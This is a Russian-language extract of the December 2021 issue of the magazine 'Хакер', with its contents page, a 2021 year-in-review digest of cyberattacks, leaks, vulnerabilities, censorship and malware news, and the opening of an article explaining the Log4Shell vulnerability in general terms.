Вы находитесь на странице: 1из 34

ПОДПИСКА НА «ХАКЕР»

Мы благодарим всех, кто поддерживает


редакцию и помогает нам компенсировать
авторам и редакторам их труд. Без вас
«Хакер» не мог бы существовать, и каждый
новый подписчик делает его чуть лучше.

Напоминаем, что дает годовая подписка:

год доступа ко всем материалам, уже


опубликованным на Xakep.ru;
год доступа к новым статьям, которые
выходят по будням;
полное отсутствие рекламы на сайте
(при условии, что ты залогинишься);
возможность скачивать выходящие
каждый месяц номера в PDF, чтобы
читать на любом удобном устройстве;
личную скидку 20%, которую
можно использовать для продления
годовой подписки. Скидка накапливается
с каждым продлением.

Если по каким-то причинам у тебя еще нет


подписки или она скоро кончится,
спеши исправить это!
Декабрь 2021
№ 273

CONTENTS
MEGANews
Все новое за последний месяц
Log4Shell
Уязвимость, которая может стать худшей проблемой 2021 года
Log4HELL!
Разбираем Log4Shell во всех подробностях
Близкие контакты
Взлом Google Pay, Samsung Pay и Apple Pay
Уроки форензики
Исследуем вредоносные документы Microsoft Ofce
Уязвимости слонов
Наиболее эпичные CVE в PostgreSQL
Хакерская телега
Обзор Telegram-каналов об информационной безопасности
Звездная сила
Как уязвимость в StarForce позволяет обнулять триал
Уроки форензики
Расследуем взлом веб-сервера с Linux, Apache и Drupal
Проблемы эксфильтрации
Как поймать воров или не попасться при пентесте
Фундаментальные основы хакерства
Соглашение о быстрых вызовах — fastcall
HTB Intelligence
Пентестим Active Directory от MSA до KDC
HTB Writer
Ломаем приложение на Django, чтобы захватить веб-сервер
HTB Pikaboo
Пентестим nginx и повышаем привилегии через LFI
Облако под защитой
Тестируем Cryptomator и другие шифрующие ФС
Сверхрегенератор
Собираем радиоприемник из восьми деталей
Титры
Кто делает этот журнал
Мария «Mifrill» Нефёдова
nefedova@glc.ru

На кален­даре конец декаб­ря, а  зна­чит, приш­ло вре­мя соб‐­


рать для тебя дай­джест самых важ­ных, инте­рес­ных, зна­ковых
и  замет­ных событий ухо­дяще­го  2021  года! Мы вспом­ним
глав­ные события и выберем при­зеров в десяти номина­циях.
Поеха­ли!

АТАКА ГОДА

COLONIAL PIPELINE
Ко­го‑нибудь лома­ют каж­дый день, но  далеко не  все ата­ки попада­ют на  пер‐­
вые полосы мировых СМИ. В этом году такой «чес­ти» удос­тоились ком­пании
Colonial Pipeline (круп­ней­ший в США опе­ратор тру­боп­роводов) и Kaseya (пос‐­
тавщик MSP-решений), ата­кован­ные шиф­роваль­щиками.
Ата­ка на Colonial Pipeline, из‑за которой в ряде шта­тов был вве­ден режим
ЧС, ста­ла той самой соломин­кой, спо­соб­ной перело­мить спи­ну вер­блю­да:
вни­мание пра­воох­ранитель­ных орга­нов к  шиф­роваль­щикам уси­лилось, а  на
боль­шинс­тве хакер­ских форумов вооб­ще пос­пешили зап­ретить рек­ламу
вымога­тель­ско­го ПО.

Другие громкие взломы 2021 года


1. Ком­пания «Яндекс» подели­лась под­робнос­тями круп­ней­шей DDoS-ата­ки
в  исто­рии рунета. Мощ­ность ата­ки сос­тавля­ла более  20  мил­лионов зап‐­
росов в секун­ду, и за ней сто­ял бот­нет Mēris.
2. Ис­сле­дова­тель получил дос­туп к  тысячам камер наб­людения РЖД. Спе‐­
циалис­ты РЖД свя­зались с ним и зак­рыли най­ден­ные уяз­вимос­ти.
3. Не­извес­тные взло­мали чат‑бота на  пор­тале Госус­луг. По  сети гуляли
скрин­шоты, где бот называ­ет QR-коды «частью замыс­лов мирово­го пра‐­
витель­ства по сег­регации населе­ния».
4. Ха­керы ском­про­мети­рова­ли поч­товый сер­вер ФБР и разос­лали фей­ковые
пре­дуп­режде­ния о  кибера­таках. Они вос­поль­зовались уяз­вимостью поч‐­
тового сер­вера.
5. Ха­кер изме­нил химичес­кий сос­тав пить­евой воды в неболь­шом городе. Он
получил дос­туп к  сис­теме водо­очис­титель­ных соору­жений через
TeamViewer на компь­юте­ре сот­рудни­ка.

DDOS-РЕКОРДЫ ГОДА
С каж­дым годом DDoS-ата­ки ста­новят­ся все мощ­нее. В 2021 году было уста­нов­лено сра­зу нес‐­
коль­ко таких «рекор­дов».

Бот­нет Mēris ата­ковал Яндекс, Хабр и мно­жес­тво дру­гих сай­тов и ком­паний. Пиковая мощ­ность
этих атак сос­тавила 17 200 000 и 21 800 000 зап­росов в секун­ду.

Microsoft спра­вилась с рекор­дной DDoS-ата­кой на  2,4 Тбит/с, нап­равлен­ной на неназ­ванно­го


евро­пей­ско­го кли­ента плат­формы Azure. DDoS-ата­ка исполь­зовала при­мер­но 70 000 ботов,
в  основном из  Ази­атско‑Тихо­океан­ско­го реги­она (Малай­зия, Вьет­нам, Тай­вань, Япо­ния
и Китай), а так­же из Соеди­нен­ных Шта­тов.

УТЕЧКИ ГОДА

TWITCH И FACEBOOK
В наше вре­мя защитить свои дан­ные от  уте­чек воз­можно лишь одним спо‐­
собом — не делить­ся ими ни с кем. В про­тив­ном слу­чае в один не слиш­ком
прек­расный момент твоя лич­ная информа­ция может ока­зать­ся в  про­даже
на  каком‑нибудь форуме дар­кне­та. К  при­меру, в  этом году с  подоб­ными
проб­лемами приш­лось стол­кнуть­ся стри­мерам Twitch и 533 мил­лионам поль‐­
зовате­лей Facebook.
Лю­бопыт­но, что пос­ле утеч­ки дан­ных о  доходах стри­меров жур­налис­ты
обна­ружи­ли слож­ную схе­му по  отмы­ванию денег через сер­вис. Ока­залось,
день­ги прес­тупни­ков про­ходят через турец­ких стри­меров в  фор­мате пожер‐­
тво­ваний.

Другие утечки 2021 года


1. Об­наруже­на круп­ная утеч­ка кон­тента для взрос­лых с плат­формы OnlyFans.
Дамп содер­жит матери­алы  279  соз­дателей кон­тента, при­чем боль­шая
часть матери­алов датиро­вана октябрем 2020 года.
2. Ис­ходные коды игр и  фай­лы CD Projekt Red про­даны в  дар­кне­те без  аук‐­
циона. «Блиц‑цена» сос­тавля­ла  7  мил­лионов дол­ларов, но, похоже,
хакерам пос­тупило еще более выгод­ное пред­ложение.
3. Не пре­успев в  получе­нии выкупа, хакеры опуб­ликова­ли укра­ден­ные у  EA
дан­ные. Сре­ди них — исходни­ки сер­вера для поис­ка мат­чей FIFA, API-клю‐­
чи, исходни­ки движ­ка FrostBite и инс­тру­мен­ты раз­работ­ки.
4. Че­рез нес­коль­ко дней пос­ле запус­ка из  Gettr утек­ли дан­ные поль­зовате‐­
лей. Хакер заод­но дефей­снул акка­унты извес­тных рес­публи­кан­цев.
5. Спи­сок подоз­рева­емых в  тер­рориз­ме лиц, за  которы­ми наб­люда­ет ФБР,
утек в  сеть. БД содер­жит  1,9  мил­лиона записей, в  том чис­ле сек­ретные
спис­ки No Fly List.

За год с опе­раци­ями вымога­телей были свя­заны бит­койн‑тран‐­


закции на сум­му око­ло 5,2 мил­лиар­да дол­ларов.

ИССЛЕДОВАНИЕ ГОДА

DEPENDENCY
CONFUSION
По­мимо взло­мов, уте­чек дан­ных, обна­руже­ния опас­ных багов и  скан­далов
вок­руг оче­ред­ных NFT в  ИТ‑сооб­щес­тве есть и  более созида­тель­ная
активность, а  так­же люди, которые пос­вяща­ют свое вре­мя иссле­дова­ниям,
написа­нию науч­ных ста­тей, док­ладов и  инте­рес­ных ресер­чей. Яркий при‐­
мер  — ата­ка на  цепоч­ку пос­тавок, получив­шая наз­вание dependency
confusion, о которой в этом году миру поведал ИБ‑эксперт Алекс Бир­сан (Alex
Birsan).
За обна­руже­ние это­го спо­соба атак иссле­дова­тель получил от раз­личных
ком­паний более 130 тысяч дол­ларов по прог­раммам bug bounty. Так, исполь‐­
зуя эту проб­лему, спе­циалист сумел заг­рузить собс­твен­ный (без­вред­ный) код
в  сис­темы Microsoft, Apple, PayPal, Shopify, Netflix, Yelp, Tesla, Uber и  дру­гих
ком­паний.

Другие важные исследования 2021 года


1. Ис­сле­дова­тели научи­лись обхо­дить PIN-коды для  карт Mastercard
и  Maestro. Они успешно про­тес­тирова­ли ата­ку, выпол­нив тран­закции
на сум­му до 400 швей­цар­ских фран­ков.
2. Ал­горит­мы шиф­рования  2G-сетей были намерен­но ослабле­ны. Они
по‑преж­нему исполь­зуют­ся в  мобиль­ных сетях, и  уяз­вимость поз­воля­ет
сле­дить за тра­фиком поль­зовате­лей.
3. Уче­ные счи­тают, что про­межу­точ­ные устрой­ства мож­но исполь­зовать
для  мас­штаб­ных DDoS-атак. Иссле­дова­тели наш­ли спо­соб исполь­зовать
для ампли­фика­ции про­токол TCP.
4. DuckDuckGo пре­дуп­режда­ет, что отказ от  сто­рон­них cookie не  меша­ет
бра­узер­ной слеж­ке. В  ком­пании счи­тают, что обсужда­емый план Google
по отка­зу от сто­рон­них cookie не даст реаль­ного выиг­рыша в при­ват­ности.
5. Мок­си Мар­лин­спайк про­демонс­три­ровал миру уяз­вимость инс­тру­мен­тов
Cellebrite. Соз­датель Signal обна­ружил ряд проб­лем в  работе инс­тру­мен‐­
тов для взло­ма мобиль­ных телефо­нов.

Сто­имость бит­кой­на в 2021 году уста­нови­ла новый рекорд и дос‐­


тигла 67 000 дол­ларов. Прав­да, сей­час крип­товалю­та тор­гует­ся
на уров­не 50 000 дол­ларов.

УЯЗВИМОСТЬ ГОДА

LOG4SHELL
Что­бы перечис­лить все сколь‑нибудь замет­ные баги ухо­дяще­го года, нам,
пожалуй, не  хва­тит и  отдель­ной статьи. К  сожале­нию, дыры находят вез­де
и пос­тоян­но, начиная от отдель­ных биб­лиотек и закан­чивая железом.
На этот раз самой мас­штаб­ной проб­лемой мож­но наз­вать RCE-уяз‐­
вимость Log4Shell, обна­ружен­ную в кон­це года в популяр­ной биб­лиоте­ке жур‐­
налиро­вания Log4j. Дело в  том, что слож­но най­ти ком­панию, сайт или  при‐­
ложе­ние, которые вов­се не исполь­зуют потен­циаль­но уяз­вимые про­дук­ты.

Другие нашумевшие баги 2021 года


1. Ата­ка PetitPotam поз­воля­ет зах­ватить кон­трол­лер домена в Windows. Проб‐­
лема воз­ника­ет в  ходе зло­упот­ребле­ния про­токо­лом MS-EFSRPC.
К счастью, ата­ку нель­зя исполь­зовать через интернет.
2. Баг Sequoia поз­воля­ет получить root-дос­туп к  боль­шинс­тву Linux-сис­тем.
При соз­дании, мон­тирова­нии и пос­леду­ющем уда­лении струк­туры катало‐­
гов очень боль­шой вло­жен­ности воз­ника­ет баг чте­ния out-of-bounds.
3. Microsoft боль­ше месяца боролась с  проб­лемой PrintNightmare в  служ­бе
Windows Print Spooler. Пер­вые известия о  ней появи­лись в  кон­це июня,
а окон­чатель­но зак­рыли ее толь­ко в середи­не сен­тября.
4. Баг в  Steam поз­волял попол­нять кошелек любыми сум­мами. Для  мошен‐­
ничес­кого попол­нения балан­са нуж­но было изме­нить email-адрес
на любой, содер­жащий стро­ку amount100.
5. Ата­ка Trojan Source опас­на для  ком­пилято­ров боль­шинс­тва язы­ков прог‐­
рамми­рова­ния. Она осно­вана на  исполь­зовании управля­ющих сим­волов
в ком­мента­риях к исходно­му коду.

WWW
Спи­сок самых ата­куемых уяз­вимос­тей  2020–
2021  годов по  вер­сии ФБР, CISA, ACSC и  NCSC
мож­но уви­деть здесь.

БЛОКИРОВКА ГОДА

ЗАПРЕТ TOR
В РОССИИ
К сожале­нию, 2021 год запом­нится мно­гим как вре­мя, ког­да в Рос­сии на­чали
бло­киро­вать Tor. Пред­ста­вите­ли Рос­комнад­зора сооб­щили, что осно­вани­ем
для  бло­киров­ки ста­ло «раз­мещение на  ука­зан­ном сай­те информа­ции, обес‐­
печива­ющей работу средств, пре­дос­тавля­ющих дос­туп к  про­тивоп­равно­му
кон­тенту».
По сос­тоянию на  конец декаб­ря  2021  года под­клю­чение к  пуб­личным
узлам по‑преж­нему не  работа­ет, и  раз­работ­чики Tor Project рекомен­дуют
исполь­зовать мос­ты.

Другие новости блокировок 2021 года


1. Рос­комнад­зор заб­локиро­вал VyprVPN и  Opera VPN. При­чина  — несоб‐­
людение ими закона  2017  года о  недопус­ке поль­зовате­лей к  заб­локиро‐­
ван­ным в РФ сай­там.
2. Уче­ные обна­ружи­ли скры­тый слой «Велико­го китай­ско­го фай­рво­ла». Рань‐­
ше он пред­став­лялся спе­циалис­там еди­ным целым, но теперь ста­новит­ся
ясно, что он сос­тоит из незави­симых ком­понен­тов.
3. Рос­комнад­зор начал замед­лять работу Twitter в  Рос­сии. Замед­ление
работы соци­аль­ной сети не огра­ничи­вает переда­чу тек­сто­вых сооб­щений,
а зат­рагива­ет толь­ко фото- и виде­окон­тент.
4. Рос­комнад­зор заб­локиро­вал ряд VPN-сер­висов. В  спис­ке: HolaVPN,
ExpressVPN, KeepSolid VPN Unlimited, Nord VPN, Speedify VPN, IPVanish
VPN.
5. Рос­сий­ский суд наложил обо­рот­ные штра­фы на  ком­пании Google
и  Meta.За неуда­ление зап­рещен­ной информа­ции ком­пани­ям гро­зит
штраф от 800 тысяч до 4 мил­лионов руб­лей.

Поль­зовате­ли RuTracker соб­рали более 2 000 000 руб­лей


для сох­ранения ред­ких раз­дач. Средс­тва от этой кам­пании пой‐­
дут на покуп­ку жес­тких дис­ков.

НАРУШИТЕЛЬ ПРИВАТНОСТИ ГОДА

ANDROID
Как ког­да‑то писал Даня Шепова­лов: «За мной сле­дят со спут­ника. При­дет­ся
всех убить». Увы, в сов­ремен­ном мире за нами дей­стви­тель­но сле­дят вез­де:
через смар­тфо­ны, тре­керы в  бра­узе­рах, камеры виде­онаб­людения и  так
далее. Нап­ример, свод­ная груп­па иссле­дова­телей из нес­коль­ких бри­тан­ских
уни­вер­ситетов об­наружи­ла мно­жес­тво проб­лем с  кон­фиден­циаль­ностью,
воз­ника­ющих при исполь­зовании смар­тфо­нов на Android.
Ис­сле­дова­ние показа­ло, что кон­фиден­циаль­ные дан­ные поль­зовате­лей,
вклю­чая пос­тоян­ные иден­тифика­торы, све­дения об исполь­зовании при­ложе‐­
ний и  телемет­рию, переда­ются не  толь­ко про­изво­дите­лям устрой­ств
(Samsung, Xiaomi, Realme и Huawei), но и раз­личным треть­им сто­ронам.

Другие важные новости приватности в 2021 году


1. DuckDuckGo запус­тил поч­товый сер­вис, помога­ющий изба­вить­ся от  тре‐­
керов в  пись­мах. Поль­зовате­ли сер­виса получа­ют бес­плат­ный адрес
на  @duck.com, где пись­ма очи­щают­ся от  тре­керов, пос­ле чего пересы‐­
лают­ся в обыч­ный поч­товый ящик.
2. Google собира­ет в 20 раз боль­ше телемет­рии с Android, чем Apple с iOS.
Обе сис­темы отправ­ляют дан­ные, даже если не логинить­ся.
3. В LastPass для  Android наш­ли семь встро­енных тре­керов. Собира­емые
дан­ные переда­ют мар­кетин­говым агентствам в  целях монети­зации при‐­
ложе­ния.
4. Раз­работ­чики Vivaldi и  Brave отка­зались исполь­зовать FLoC от  Google,
приз­ванный заменить сто­рон­ние cookie. Фун­кция Federated Learning
of Cohorts встре­тила мощ­ный отпор со сто­роны защит­ников при­ват­ности.
5. ProtonMail рас­крыл IP-адрес акти­вис­та пра­воох­ранитель­ным орга­нам.
Отдель­ный при­каз о  нераз­гла­шении информа­ции не  поз­волил ком­пании
вов­ремя уве­домить поль­зовате­ля о про­исхо­дящем.

Дос­туп к кор­поратив­ным сетям в дар­кне­те в сред­нем сто­ит


7100 дол­ларов.

Продолжение статьи


Начало статьи

МАЛВАРЬ ГОДА

PEGASUS
Как уже было отме­чено в начале это­го тек­ста, в сети пос­тоян­ного кого‑нибудь
лома­ют, в про­даже появ­ляет­ся новая мал­варь, а пра­воох­раните­ли регуляр­но
сооб­щают об  оче­ред­ной серии арес­тов учас­тни­ков оче­ред­ной хак‑груп­пы.
В  этом году вни­мание общес­твен­ности было прив­лечено к  шпи­онской мал‐­
вари Pegasus про­изводс­тва изра­иль­ской ком­пании NSO Group.
Де­ло в  том, что летом  2021  года пра­воза­щит­ная орга­низа­ция Amnesty
International, неком­мерчес­кий про­ект Forbidden Stories, а так­же более 80 жур‐­
налис­тов кон­сорци­ума из 17 меди­аор­ганиза­ций в десяти стра­нах мира опуб‐­
ликова­ли резуль­таты сов­мес­тно­го рас­сле­дова­ния, пос­вящен­ного «Пегасу».
Пос­ле этой пуб­ликации Pegasus получил широкую извес­тность за пре­дела­ми
ИБ‑сооб­щес­тва, а у NSO Group воз­никли проб­лемы.

Другие вредоносы 2021 года


1. SteamHide пря­чет мал­варь в  изоб­ражени­ях в  про­филях Steam. Мал­варь
зап­рашива­ет кар­тинки из  Steam и  изме­няет свой код на  тот, что спря­тан
в них.
2. Арес­тована граж­данка Лат­вии, подоз­рева­емая в раз­работ­ке TrickBot. Она
не стре­милась скрыть свою лич­ность и даже раз­мещала на лич­ном сай­те
вер­сии TrickBot, находя­щиеся в раз­работ­ке.
3. Раз­работ­чики мал­вари все чаще исполь­зуют необыч­ные язы­ки прог‐­
рамми­рова­ния. Речь идет о таких язы­ках, как Go, D, Nim и Rust.
4. Ев­ропол: арес­тованы  12  хакеров, ответс­твен­ные за  1800  вымога­тель­ских
атак. Подоз­рева­емые вхо­дили в  сос­тав про­фес­сиональ­ной прес­тупной
груп­пы и ата­кова­ли круп­ные ком­пании с помощью шиф­роваль­щиков.
5. Telegram-боты помог­ли прод­винуть на  Запад мошен­ничес­кую схе­му
с  курь­ерски­ми сер­висами. Зло­умыш­ленни­ки раз­меща­ют объ­явле­ния
о  про­даже товаров по  выгод­ным ценам и  отправ­ляют через мес­сен­джер
фей­ковую ссыл­ку на опла­ту дос­тавки.

КРУПНЕЙШИЕ ВЫКУПЫ
К сожале­нию, ата­ки шиф­роваль­щиков по‑преж­нему пред­став­ляют огромную проб­лему. Но если
нес­коль­ко лет назад от  них стра­дали рядовые поль­зовате­ли, теперь хакеры ата­куют круп­ные
ком­пании и вымога­ют у пос­тра­дав­ших огромные сум­мы в качес­тве выкупа за рас­шифров­ку дан‐­
ных.

Аме­рикан­ская стра­ховая кор­порация CNA вып­латила опе­рато­рам шиф­роваль­щика Phoenix


40 000 000 дол­ларов в крип­товалю­те.

Круп­ней­ший в  мире про­изво­дитель говяди­ны  — ком­пания JBS Foods зап­латила неиз­вес­тной


хакер­ской груп­пиров­ке 11 000 000 дол­ларов.

Так­же в  этом году хак‑груп­па Revil тре­бова­ла 70  000  000 дол­ларов от  ком­пании Kaseya,
но руководс­тво пос­тавщи­ка MSP-решений пла­тить отка­залось.

ХАРДВЕРНЫЙ ВЗЛОМ ГОДА

АТАКА
НА PLAYSTATION 5
Так как  мы не  Wylsacom, регуляр­ными обзо­рами гад­жетов пох­вастать­ся
не можем. Одна­ко мы никог­да не упус­каем слу­чая рас­ска­зать об инте­рес­ных
желез­ках, аппа­рат­ных уяз­вимос­тях и дру­гих хад­рвер­ных новос­тях.
Осенью 2021 года извес­тная хакер­ская коман­да Fail0verflow сооб­щила, что
приб­лизилась к  взло­му PlayStation 5. Учас­тни­ки груп­пы доб­рались до  всех
кор­невых клю­чей кон­соли и показа­ли рас­шифро­ван­ный файл про­шив­ки PS5,
где был выделен код, отно­сящий­ся к безопас­ному заг­рузчи­ку (secure loader).
В  теории ана­лиз рас­шифро­ван­ной про­шив­ки поможет Fail0verflow (и дру­гим
хакерам) отре­вер­сить код и  соз­дать кас­томную про­шив­ку с  воз­можностью
заг­рузки на PS5 сто­рон­него ПО.

Другие новости железа за 2021 год


1. Пред­став­лена Raspberry Pi Zero 2 W: в пять раз быс­трее и на пять дол­ларов
дороже. Новый мик­рокомпь­ютер осно­ван на чипах Raspberry Pi 3.
2. Nvidia огра­нила май­нин­говую про­изво­дитель­ность RTX 3080, 3070 и 3060
Ti. Эта ини­циати­ва дол­жна вдвое понизить хеш­рейт для май­нин­га Ethereum
на новых виде­окар­тах.
3. В чипах Apple M1  обна­ружен пер­вый баг, получив­ший имя M1RACLES.
Но даже сам эксперт счи­тает экс­плу­ата­цию этой ошиб­ки малове­роят­ной.
4. Western Digital незамет­но замед­лила бюд­жетный SSD WD Blue
SN550  на  40%. Ком­пания изме­нила про­шив­ку устрой­ства и  его ком­плек‐­
тацию, не сооб­щив об этом никому.
5. В про­даже замечен инс­тру­мент для сок­рытия мал­вари в гра­фичес­ких про‐­
цес­сорах AMD и  Nvidia. Экс­пло­ит работа­ет в  Windows с  под­дер­жкой
OpenCL 2.0  и  про­верен на  виде­окар­тах Intel UHD 620/630, Radeon RX
5700 и GeForce GTX 740M и 1650.

Крип­товалют­ные мошен­ники «зарабо­тали» око­ло 7,7 мил­лиар­да


дол­ларов за год. Убыт­ки пос­тра­дав­ших воз­росли на 81% по срав‐­
нению с 2020 годом.

ПИКАНТНАЯ НОВОСТЬ ГОДА

ЗАКРЫТИЕ FREEDOM
HOSTING
Как извес­тно  — Internet is  for porn, а  зна­чит, под­водя ито­ги года, мы никак
не можем обой­ти сто­роной темы «для взрос­лых». Увы, самая гром­кая новость
это­го года, свя­зан­ная с  пор­ногра­фией, была сов­сем не  забав­ной (веселые
новос­ти  18+ перечис­лены ниже) и  касалась дет­ско­го пор­но: быв­ший опе‐­
ратор Freedom Hosting был при­гово­рен к 27 годам тюрь­мы.
Эта ком­пания пре­дос­тавля­ла услу­ги дар­кнет‑хос­тинга более чем 200 сай‐­
там, на  которых раз­мещались матери­алы, свя­зан­ные с  экс­плу­ата­цией детей
и сек­суаль­ным насили­ем над малолет­ними.

Другие новости 2021 года, связанные с «клубничкой»


1. Вы­мога­тели взла­мыва­ют муж­ские пояса вер­ности. API ока­зал­ся
не  защищен паролем и  открыт любому жела­юще­му зах­ватить кон­троль
над устрой­ством.
2. ESET пре­дуп­режда­ет о небезо­пас­ности секс‑игру­шек. Информа­ция, обра‐­
баты­ваемая секс‑игрушка­ми, — нас­тоящий кла­дезь для вымога­телей.
3. Спа­мер засыпал форум вымога­теля Babuk гей‑пор­но. Вла­делец форума
перед этим отка­зал­ся пла­тить вымога­телю 5000 дол­ларов.
4. Из‑за зах­вата домена на  круп­ных новос­тных сай­тах показа­ли пор­но.
Читате­ли The Washington Post, New York Magazine, HuffPost уви­дели пор­но
вмес­то видео в стать­ях.
5. Пра­витель­ствен­ные и воен­ные сай­ты рас­простра­няли пор­но и рек­ламиро‐­
вали виаг­ру. ПО Laserfiche Forms содер­жит уяз­вимость, которая поз­воля­ет
зло­умыш­ленни­кам раз­мещать вре­донос­ный и  спа­мер­ский кон­тент
на авто­ритет­ных государс­твен­ных ресур­сах.

Ко­личес­тво DDoS-атак на рос­сий­ские ком­пании уве­личи­лось


в 2,5 раза по срав­нению с ана­логич­ным пери­одом прош­лого
года, а их сред­няя мощ­ность воз­росла на 26%.

ФЕЙЛ ГОДА

ПОПЫТКА
ЗАБЛОКИРОВАТЬ
127.0.0.1
Приз за самый эпич­ный фейл года есть даже сре­ди наг­рад извес­тной пре­мии
Pwnie Awards (кста­ти, в этом году ее удос­тоилась ком­пания Microsoft за дол‐­
гие и  безус­пешные попыт­ки спра­вить­ся с  уяз­вимос­тями PrintNightmare). Мы,
конеч­но, тоже не мог­ли не вспом­нить самые гром­кие про­валы и курь­езы года,
ведь, читая некото­рые новос­ти, неволь­но дума­ешь: «но ведь на  кален­даре
не пер­вое апре­ля».
Са­мым забав­ным, на наш взгляд, в этом году стал слу­чай, ког­да анти­пира‐­
ты поп­росили Google заб­локиро­вать  127.0.0.1. Отли­чилась фир­ма Vindex,
пред­став­ляющая инте­ресы ТРК «Укра­ина». Она нап­равила Google стран­ный
зап­рос на  уда­ление кон­тента из  поис­ковой выдачи. Один из  адре­сов,
наруша­ющих пра­ва ТРК «Укра­ина», ука­зывал на 127.0.0.1, то есть анти­пира­ты
наш­ли зап­рещен­ный кон­тент в собс­твен­ных сис­темах.

Другие мощные неудачи 2021 года


1. Раз­работ­чик мал­вари Raccoon заразил свою сис­тему и слил собс­твен­ные
дан­ные. Это  обна­ружи­ли с  помощью плат­формы Hudson Rock Cavalier,
которая отсле­жива­ет взло­ман­ные машины.
2. Не­извес­тный взло­мал Facebook-акка­унт эсминца USS Kidd и стри­мил Age
of Empires. Зло­умыш­ленник никак не объ­яснял свои дей­ствия и лишь про‐­
дол­жал играть, при­чем из рук вон пло­хо.
3. Крип­товалют­ная плат­форма Compound слу­чай­но раз­дала поль­зовате‐­
лям 160 мил­лионов дол­ларов. Ненаме­рен­ная раз­дача Ethereum про­изош‐­
ла из‑за бага в смарт‑кон­трак­те.
4. Ха­кер­ский форум OGUsers взло­мали в  чет­вертый раз. Вско­ре на  кон‐­
куриру­ющем хак‑форуме начали про­давать укра­ден­ную БД OGUsers
за 3000 дол­ларов.
5. Из‑за ата­ки шиф­роваль­щика в  гол­ланд­ских магази­нах закон­чился сыр.
Сот­рудни­ки пос­тавщи­ка, потеряв дос­туп к  базе, не  мог­ли най­ти товары
на скла­де и пла­ниро­вать перевоз­ки.

ЧЕМ ЕЩЕ ЗАПОМНИТСЯ 2021 ГОД


В этом году наконец была окон­чатель­но прек­ращена под­дер­жка Adobe Flash Player. Из‑за это­го
воз­никли сбои на желез­ной дороге в Китае, а влас­ти ЮАР соз­дали собс­твен­ный бра­узер, что­бы
про­дол­жать исполь­зовать уста­рев­шую тех­нологию.

Ле­том  2021  года Джон Макафи был най­ден мер­твым в  тюрем­ной камере. Ранее осно­ватель
ком­пании McAfee, один из пионе­ров в сфе­ре анти­вирус­ного ПО, а в пос­ледние годы извес­тный
крип­товалют­ный энту­зиаст Макафи был арес­тован осенью  2020  года за  укло­нение от  упла­ты
налогов и наруше­ние закона о цен­ных бумагах.

Пра­воох­раните­ли от­читались о лик­видации бот­нета Emotet и про­веден­ной спе­цопе­рации бес‐­


пре­цеден­тно­го мас­шта­ба. Ста­рани­ями ИБ‑экспер­тов мал­варь даже са­моунич­тожилась на всех
заражен­ных машинах. Увы, пос­ле это­го затишье дли­лось недол­го: в нояб­ре 2021 года Emotet
вер­нулся в строй и набира­ет обо­роты.

Ком­пания Microsoft вы­пус­тила собс­твен­ный дис­три­бутив Linux. Иро­нич­но, ведь двад­цать лет
назад, в  2001  году, Стив Бал­лмер называл Linux раковой опу­холью индус­трии, а  в наши дни
Microsoft явля­ется одним из  наибо­лее активных учас­тни­ков опен­сор­сных про­ектов в  мире
и вла­деет GitHub.

В кон­це сен­тября осно­ватель и гла­ва ком­пании Group-IB Илья Сач­ков был задер­жан по подоз‐­
рению в госиз­мене, а в офи­сах ком­пании прош­ли обыс­ки. В нас­тоящее вре­мя Сач­ков по‑преж‐­
нему находит­ся в  СИЗО, а  матери­алы уго­лов­ного дела засек­речены. Руководс­тво ком­пани­ей
вре­мен­но взял на себя вто­рой осно­ватель Group-IB Дмит­рий Вол­ков.
HEADER

LOG4SHELL
УЯЗВИМОСТЬ, КОТОРАЯ МОЖЕТ СТАТЬ
ХУДШЕЙ ПРОБЛЕМОЙ 2021 ГОДА

Мария «Mifrill» Нефёдова


nefedova@glc.ru

Уяз­вимость Log4Shell, недав­но обна­ружен­ная в  популяр­ной


биб­лиоте­ке жур­налиро­вания Log4j, которая вхо­дит в  сос­тав
Apache Logging Project, пред­став­ляет собой боль­шую проб‐­
лему. Ведь слож­но наз­вать ком­панию, сайт или при­ложе­ние,
которые вов­се не  исполь­зуют потен­циаль­но уяз­вимые про‐­
дук­ты. Рас­ска­зыва­ем, что извес­тно о  проб­леме Log4Shell
на дан­ный момент и как реаги­рует на нее индус­трия.

LOG4SHELL
В середи­не декаб­ря  2021  года раз­работ­чики Apache Software Foundation
выпус­тили экс­трен­ное обновле­ние безопас­ности, исправ­ляющее  0-day-уяз‐­
вимость (CVE-2021-44228) в  популяр­ной биб­лиоте­ке жур­налиро­вания Log4j,
вхо­дящей в  сос­тав Apache Logging Project. Сроч­ность объ­ясня­лась тем, что
ИБ‑спе­циалис­ты уже начали пуб­ликовать в откры­том дос­тупе PoC-экс­пло­иты,
объ­ясняя, что исполь­зовать баг мож­но уда­лен­но, при­чем для  это­го
не понадо­бят­ся осо­бые тех­ничес­кие навыки.
Проб­лема получи­ла наз­вание Log4Shell и  — ред­кий слу­чай!  — наб­рала
десять бал­лов из  десяти воз­можных по  шка­ле оцен­ки уяз­вимос­тей CVSS v3.
Баг допус­кает уда­лен­ное выпол­нение про­изволь­ного кода (RCE), при­чем
вре­донос­ный код может попасть в сис­тему самыми раз­ными спо­соба­ми, ведь
для ата­ки дос­таточ­но, что­бы нуж­ная запись ока­залась в логах.
Ис­ходно проб­лема была обна­руже­на во  вре­мя отло­ва багов на  сер­верах
Minecraft, но биб­лиоте­ка Log4j при­сутс­тву­ет прак­тичес­ки в любых кор­поратив‐­
ных при­ложе­ниях и Java-сер­верах. К при­меру, ее мож­но най­ти поч­ти во всех
кор­поратив­ных про­дук­тах, выпущен­ных Apache Software Foundation, вклю­чая
Apache Struts, Apache Flink, Apache Druid, Apache Flume, Apache Solr, Apache
Kafka, Apache Dubbo. Так­же Log4j активно при­меня­ют в  опен­сор­сных про‐­
ектах, нап­ример Redis, Elasticsearch, Elastic Logstash или Ghidra.
Та­ким обра­зом, ком­пании, исполь­зующие любой из  этих про­дук­тов, тоже
кос­венно уяз­вимы перед  ата­ками на  Log4Shell, хотя могут даже не  знать
об  этом. ИБ‑спе­циалис­ты сра­зу пре­дуп­режда­ли, что перед  Log4Shell могут
быть уяз­вимы решения таких гиган­тов, как  Apple, Amazon, Twitter, Cloudflare,
Steam, Tencent, Baidu, DIDI, JD, NetEase, и, веро­ятно, тысяч дру­гих ком­паний.
Прин­цип работы Log4Shell весь­ма прост: уяз­вимость вынуж­дает при­ложе‐­
ния и сер­веры на осно­ве Java, где исполь­зует­ся биб­лиоте­ка Log4j, сох­ранять
в  логах опре­делен­ную стро­ку. Ког­да при­ложе­ние или  сер­вер обра­баты­вают
такие логи, стро­ка может зас­тавить уяз­вимую сис­тему заг­рузить и  запус­тить
вре­донос­ный скрипт из домена, кон­тро­лиру­емо­го зло­умыш­ленни­ком. Ито­гом
